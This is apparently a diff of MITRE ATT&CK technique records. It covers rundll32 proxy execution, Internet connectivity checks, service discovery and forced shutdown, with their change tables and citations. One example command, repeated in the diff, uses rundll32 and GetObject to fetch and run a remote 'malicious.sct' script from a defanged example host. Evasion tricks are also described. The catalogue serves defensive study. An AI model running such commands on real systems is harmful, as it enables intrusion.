+ "description": "gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.",
+ "url": "https://github.com/gtworek/PSBits/tree/master/NoRunDll"
+ },
+ {
+ "source_name": "lolbas project Ieframe.dll",
+ "description": "lolbas project. (n.d.). Ieframe.dll. Retrieved October 5, 2025.",
+ "url": "https://lolbas-project.github.io/lolbas/Libraries/Ieframe/"
+ },
+ {
+ "source_name": "lolbas project Zipfldr.dll",
+ "description": "lolbas project. (n.d.). Zipfldr.dll. Retrieved October 5, 2025.",
+ "url": "https://lolbas-project.github.io/lolbas/Libraries/Zipfldr/"
+ },
+ {
+ "source_name": "Trend Micro CPL",
+ "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.",
+ "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Gareth Phillips, Seek Ltd.",
+ "Casey Smith",
+ "Ricardo Dias",
+ "James_inthe_box, Me",
+ "Amir Hossein Vafifar"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "2.5",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"File: File Metadata\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:20.567000+00:00\", \"old_value\": \"2025-04-15 19:58:02.470000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\\n\\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.\\n\\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https[:]//www[.]example[.]com/malicious.sct\\\")\\\" This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion)\\n\\nThreat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll)\\n\\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\\n\\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) \", \"old_value\": \"Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\\n\\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.\\n\\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https[:]//www[.]example[.]com/malicious.sct\\\")\\\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\\n\\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\\n\\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) \", \"diff\": \"--- \\n+++ \\n@@ -2,7 +2,9 @@\\n \\n Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.\\n \\n-Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https[:]//www[.]example[.]com/malicious.sct\\\")\\\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\\n+Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https[:]//www[.]example[.]com/malicious.sct\\\")\\\" This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion)\\n+\\n+Threat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll)\\n \\n Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\\n\\nCommand arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\\n-\\n-Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.5\", \"old_value\": \"2.4\"}}, \"iterable_item_added\": {\"root['external_references'][5]\": {\"source_name\": \"lolbas project Ieframe.dll\", \"description\": \"lolbas project. (n.d.). Ieframe.dll. Retrieved October 5, 2025.\", \"url\": \"https://lolbas-project.github.io/lolbas/Libraries/Ieframe/\"}, \"root['external_references'][6]\": {\"source_name\": \"lolbas project Zipfldr.dll\", \"description\": \"lolbas project. (n.d.). Zipfldr.dll. Retrieved October 5, 2025.\", \"url\": \"https://lolbas-project.github.io/lolbas/Libraries/Zipfldr/\"}, \"root['x_mitre_contributors'][4]\": \"Amir Hossein Vafifar\"}}",
+ "previous_version": "2.4",
+ "version_change": "2.4 \u2192 2.5",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse rundll32.exe to proxy execution of mal | t | 1 | Adversaries may abuse rundll32.exe to proxy execution of mal |
| > | icious code. Using rundll32.exe, vice executing directly (i. | > | icious code. Using rundll32.exe, vice executing directly (i. | ||
| > | e. [Shared Modules](https://attack.mitre.org/techniques/T112 | > | e. [Shared Modules](https://attack.mitre.org/techniques/T112 | ||
| > | 9)), may avoid triggering security tools that may not monito | > | 9)), may avoid triggering security tools that may not monito | ||
| > | r execution of the rundll32.exe process because of allowlist | > | r execution of the rundll32.exe process because of allowlist | ||
| > | s or false positives from normal operations. Rundll32.exe is | > | s or false positives from normal operations. Rundll32.exe is | ||
| > | commonly associated with executing DLL payloads (ex: <code> | > | commonly associated with executing DLL payloads (ex: <code> | ||
| > | rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe c | > | rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe c | ||
| > | an also be used to execute [Control Panel](https://attack.mi | > | an also be used to execute [Control Panel](https://attack.mi | ||
| > | tre.org/techniques/T1218/002) Item files (.cpl) through the | > | tre.org/techniques/T1218/002) Item files (.cpl) through the | ||
| > | undocumented shell32.dll functions <code>Control_RunDLL</cod | > | undocumented shell32.dll functions <code>Control_RunDLL</cod | ||
| > | e> and <code>Control_RunDLLAsUser</code>. Double-clicking a | > | e> and <code>Control_RunDLLAsUser</code>. Double-clicking a | ||
| > | .cpl file also causes rundll32.exe to execute.(Citation: Tre | > | .cpl file also causes rundll32.exe to execute.(Citation: Tre | ||
| > | nd Micro CPL) For example, [ClickOnce](https://attack.mitre. | > | nd Micro CPL) For example, [ClickOnce](https://attack.mitre. | ||
| > | org/techniques/T1127/002) can be proxied through Rundll32.ex | > | org/techniques/T1127/002) can be proxied through Rundll32.ex | ||
| > | e. Rundll32 can also be used to execute scripts such as Jav | > | e. Rundll32 can also be used to execute scripts such as Jav | ||
| > | aScript. This can be done using a syntax similar to this: <c | > | aScript. This can be done using a syntax similar to this: <c | ||
| > | ode>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \" | > | ode>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \" | ||
| > | ;document.write();GetObject(\"script:https[:]//www[.]example[ | > | ;document.write();GetObject(\"script:https[:]//www[.]example[ | ||
| > | .]com/malicious.sct\")\"</code> This behavior has been seen u | > | .]com/malicious.sct\")\"</code> This behavior has been seen u | ||
| > | sed by malware such as Poweliks. (Citation: This is Security | > | sed by malware such as Poweliks.(Citation: This is Security | ||
| > | Command Line Confusion) Adversaries may also attempt to ob | > | Command Line Confusion) Threat actors may also abuse legiti | ||
| > | scure malicious code from analysis by abusing the manner in | > | mate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.d | ||
| > | which rundll32.exe loads DLL function names. As part of Wind | > | ll</code>) with <code>rundll32.exe</code> to execute malicio | ||
| > | ows compatibility support for various character sets, rundll | > | us programs or scripts indirectly, making their activity app | ||
| > | 32.exe will first check for wide/Unicode then ANSI character | > | ear more legitimate and evading detection.(Citation: lolbas | ||
| > | -supported functions before loading the specified function ( | > | project Zipfldr.dll)(Citation: lolbas project Ieframe.dll) | ||
| > | e.g., given the command <code>rundll32.exe ExampleDLL.dll, E | > | Adversaries may also attempt to obscure malicious code from | ||
| > | xampleFunction</code>, rundll32.exe would first attempt to e | > | analysis by abusing the manner in which rundll32.exe loads D | ||
| > | xecute <code>ExampleFunctionW</code>, or failing that <code> | > | LL function names. As part of Windows compatibility support | ||
| > | ExampleFunctionA</code>, before loading <code>ExampleFunctio | > | for various character sets, rundll32.exe will first check fo | ||
| > | n</code>). Adversaries may therefore obscure malicious code | > | r wide/Unicode then ANSI character-supported functions befor | ||
| > | by creating multiple identical exported function names and a | > | e loading the specified function (e.g., given the command <c | ||
| > | ppending <code>W</code> and/or <code>A</code> to harmless on | > | ode>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, run | ||
| > | es.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Gi | > | dll32.exe would first attempt to execute <code>ExampleFuncti | ||
| > | thub NoRunDll) DLL functions can also be exported and execut | > | onW</code>, or failing that <code>ExampleFunctionA</code>, b | ||
| > | ed by an ordinal number (ex: <code>rundll32.exe file.dll,#1< | > | efore loading <code>ExampleFunction</code>). Adversaries may | ||
| > | /code>). Additionally, adversaries may use [Masquerading](h | > | therefore obscure malicious code by creating multiple ident | ||
| > | ttps://attack.mitre.org/techniques/T1036) techniques (such a | > | ical exported function names and appending <code>W</code> an | ||
| > | s changing DLL file names, file extensions, or function name | > | d/or <code>A</code> to harmless ones.(Citation: Attackify Ru | ||
| > | s) to further conceal execution of a malicious payload.(Cita | > | ndll32.exe Obscurity)(Citation: Github NoRunDll) DLL functio | ||
| > | tion: rundll32.exe defense evasion) | > | ns can also be exported and executed by an ordinal number (e | ||
| > | x: <code>rundll32.exe file.dll,#1</code>). Additionally, ad | ||||
| > | versaries may use [Masquerading](https://attack.mitre.org/te | ||||
| > | chniques/T1036) techniques (such as changing DLL file names, | ||||
| > | file extensions, or function names) to further conceal exec | ||||
| > | ution of a malicious payload.(Citation: rundll32.exe defense | ||||
| > | evasion) |
tracert, and GET requests to websites, or performing initial speed testing to confirm bandwidth.\n\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1016/001",
+ "external_id": "T1016.001"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Christopher Peacock"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "Linux",
+ "macOS",
+ "ESXi"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Christopher Peacock\"]}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.017000+00:00\", \"old_value\": \"2025-04-25 14:45:52.631000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites, or performing initial speed testing to confirm bandwidth.\\n\\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.\", \"old_value\": \"Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites.\\n\\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites.\\n+Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites, or performing initial speed testing to confirm bandwidth.\\n \\n Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to check Internet connectivity.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to check Internet connectivity.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}",
+ "previous_version": "1.1",
+ "version_change": "1.1 \u2192 1.2",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may check for Internet connectivity on compromis | t | 1 | Adversaries may check for Internet connectivity on compromis |
| > | ed systems. This may be performed during automated discovery | > | ed systems. This may be performed during automated discovery | ||
| > | and can be accomplished in numerous ways such as using [Pin | > | and can be accomplished in numerous ways such as using [Pin | ||
| > | g](https://attack.mitre.org/software/S0097), <code>tracert</ | > | g](https://attack.mitre.org/software/S0097), <code>tracert</ | ||
| > | code>, and GET requests to websites. Adversaries may use th | > | code>, and GET requests to websites, or performing initial s | ||
| > | e results and responses from these requests to determine if | > | peed testing to confirm bandwidth. Adversaries may use the | ||
| > | the system is capable of communicating with their C2 servers | > | results and responses from these requests to determine if th | ||
| > | before attempting to connect to them. The results may also | > | e system is capable of communicating with their C2 servers b | ||
| > | be used to identify routes, redirectors, and proxy servers. | > | efore attempting to connect to them. The results may also be | ||
| > | used to identify routes, redirectors, and proxy servers. |
sc query, tasklist /svc, systemctl --type=service, and net start. Adversaries may also gather information about schedule tasks via commands such as `schtasks` on Windows or `crontab -l` on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Splunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020)\n\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1007",
+ "external_id": "T1007"
+ },
+ {
+ "source_name": "Aquasec Kinsing 2020",
+ "description": "Gal Singer. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved May 22, 2025.",
+ "url": "https://www.aquasec.com/blog/threat-alert-kinsing-malware-container-vulnerability/"
+ },
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+ "source_name": "Elastic Security Labs GOSAR 2024",
+ "description": "Jia Yu Chan, Salim Bitam, Daniel Stepanic, and Seth Goodwin. (2024, December 12). Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite. Retrieved May 22, 2025.",
+ "url": "https://www.elastic.co/security-labs/under-the-sadbridge-with-gosar"
+ },
+ {
+ "source_name": "SentinelLabs macOS Malware 2021",
+ "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved May 22, 2025.",
+ "url": "https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
+ },
+ {
+ "source_name": "Splunk Linux Gormir 2024",
+ "description": "Splunk Threat Research Team , Teoderick Contreras. (2024, July 15). Breaking Down Linux.Gomir: Understanding this Backdoor\u2019s TTPs. Retrieved May 22, 2025.",
+ "url": "https://www.splunk.com/en_us/blog/security/breaking-down-linux-gomir-understanding-this-backdoors-ttps.html"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Harshal Tupsamudre, Qualys"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.6",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.812000+00:00\", \"old_value\": \"2025-04-15 23:14:33.837000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start. Adversaries may also gather information about schedule tasks via commands such as `schtasks` on Windows or `crontab -l` on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Splunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020)\\n\\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\", \"old_value\": \"Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.\\n\\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.\\n+Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start. Adversaries may also gather information about schedule tasks via commands such as `schtasks` on Windows or `crontab -l` on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Splunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020)\\n \\n Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.6\", \"old_value\": \"1.5\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Aquasec Kinsing 2020\", \"description\": \"Gal Singer. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved May 22, 2025.\", \"url\": \"https://www.aquasec.com/blog/threat-alert-kinsing-malware-container-vulnerability/\"}, \"root['external_references'][2]\": {\"source_name\": \"Elastic Security Labs GOSAR 2024\", \"description\": \"Jia Yu Chan, Salim Bitam, Daniel Stepanic, and Seth Goodwin. (2024, December 12). Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite. Retrieved May 22, 2025.\", \"url\": \"https://www.elastic.co/security-labs/under-the-sadbridge-with-gosar\"}, \"root['external_references'][3]\": {\"source_name\": \"SentinelLabs macOS Malware 2021\", \"description\": \"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved May 22, 2025.\", \"url\": \"https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/\"}, \"root['external_references'][4]\": {\"source_name\": \"Splunk Linux Gormir 2024\", \"description\": \"Splunk Threat Research Team , Teoderick Contreras. (2024, July 15). Breaking Down Linux.Gomir: Understanding this Backdoor\\u2019s TTPs. Retrieved May 22, 2025.\", \"url\": \"https://www.splunk.com/en_us/blog/security/breaking-down-linux-gomir-understanding-this-backdoors-ttps.html\"}}}",
+ "previous_version": "1.5",
+ "version_change": "1.5 \u2192 1.6",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may try to gather information about registered l | t | 1 | Adversaries may try to gather information about registered l |
| > | ocal system services. Adversaries may obtain information abo | > | ocal system services. Adversaries may obtain information abo | ||
| > | ut services using tools as well as OS utility commands such | > | ut services using tools as well as OS utility commands such | ||
| > | as <code>sc query</code>, <code>tasklist /svc</code>, <code> | > | as <code>sc query</code>, <code>tasklist /svc</code>, <code> | ||
| > | systemctl --type=service</code>, and <code>net start</code>. | > | systemctl --type=service</code>, and <code>net start</code>. | ||
| > | Adversaries may use the information from [System Service D | > | Adversaries may also gather information about schedule task | ||
| > | iscovery](https://attack.mitre.org/techniques/T1007) during | > | s via commands such as `schtasks` on Windows or `crontab -l` | ||
| > | automated discovery to shape follow-on behaviors, including | > | on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2 | ||
| > | whether or not the adversary fully infects the target and/or | > | 024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Sp | ||
| > | attempts specific actions. | > | lunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020) Adv | ||
| > | ersaries may use the information from [System Service Discov | ||||
| > | ery](https://attack.mitre.org/techniques/T1007) during autom | ||||
| > | ated discovery to shape follow-on behaviors, including wheth | ||||
| > | er or not the adversary fully infects the target and/or atte | ||||
| > | mpts specific actions. |
reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\n\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\n\nAdversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a \u201cblue screen of death\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)\n In some cases, the system may not be able to boot again. \n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "impact"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
